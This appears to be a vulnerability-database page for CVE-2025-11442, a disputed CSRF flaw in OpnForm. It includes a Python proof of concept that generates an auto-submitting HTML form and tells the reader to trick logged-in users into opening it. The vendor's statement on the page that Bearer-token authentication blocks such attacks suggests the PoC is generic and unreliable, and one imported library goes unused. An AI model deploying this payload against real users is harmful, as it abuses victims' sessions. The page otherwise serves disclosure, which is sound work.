CVE-2025-11442

Description

A security flaw has been discovered in JhumanJ OpnForm up to 1.9.3. The impacted element is an unknown function of the component API Endpoint. The manipulation results in cross-site request forgery. The attack may be performed from remote. The exploit has been released to the public and may be exploited. The vendor has stated that API calls require authentication through Authorization Bearer Tokens, so classic CSRF attacks do not apply here. An attacker would need to possess the JWT through means such as XSS which were mitigated, disabling any form of initial access.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:jhumanj:opnform:*:*:*:*:*:*:*:* - VULNERABLE

JhumanJ OpnForm ≤ 1.9.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-11442 - JhumanJ OpnForm CSRF PoC
# This PoC demonstrates a Cross-Site Request Forgery attack against OpnForm API endpoints
# Note: The vendor disputes this vulnerability, stating API calls require Bearer Token authentication

import requests

# Target OpnForm API endpoint
target_url = "http://target-opnform-instance.com/api/v1/forms"

# CSRF payload - malicious HTML page that triggers unauthorized API request
csrf_html = """
<!DOCTYPE html>
<html>
<head><title>CSRF PoC for CVE-2025-11442</title></head>
<body>
    <h1>Loading...</h1>
    <script>
        // Auto-submit form to trigger CSRF attack against OpnForm API
        var form = document.createElement('form');
        form.method = 'POST';
        form.action = 'http://target-opnform-instance.com/api/v1/forms';
        
        // Create malicious form data
        var fields = {
            'name': 'MaliciousForm',
            'description': 'Created via CSRF',
            'visibility': 'public'
        };
        
        for (var key in fields) {
            var input = document.createElement('input');
            input.type = 'hidden';
            input.name = key;
            input.value = fields[key];
            form.appendChild(input);
        }
        
        document.body.appendChild(form);
        form.submit();
    </script>
</body>
</html>
"""

# Save the CSRF payload as an HTML file
with open('csrf_poc.html', 'w') as f:
    f.write(csrf_html)

print("[+] CSRF PoC generated: csrf_poc.html")
print("[+] Host this file and trick authenticated users into visiting it")
print("[+] When a logged-in OpnForm user visits this page, it will trigger")
print("[+] an unauthorized API request to create a malicious form")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-11442
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-11442
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-11442/
[4] VulDB https://vuldb.com/cve/CVE-2025-11442
[5] https://docs.google.com/document/d/1GUjJA9vUbsXUngAv6ySsbCIhVynf8_djardLZYEDOe0/edit?tab=t.0#heading=h.w5b1nllxwvdq
[6] https://vuldb.com/?ctiid.327379
[7] https://vuldb.com/?id.327379
[8] https://vuldb.com/?submit.666889
[9] https://docs.google.com/document/d/1GUjJA9vUbsXUngAv6ySsbCIhVynf8_djardLZYEDOe0/edit?tab=t.0#heading=h.w5b1nllxwvdq

Raw JSON Data

JSON

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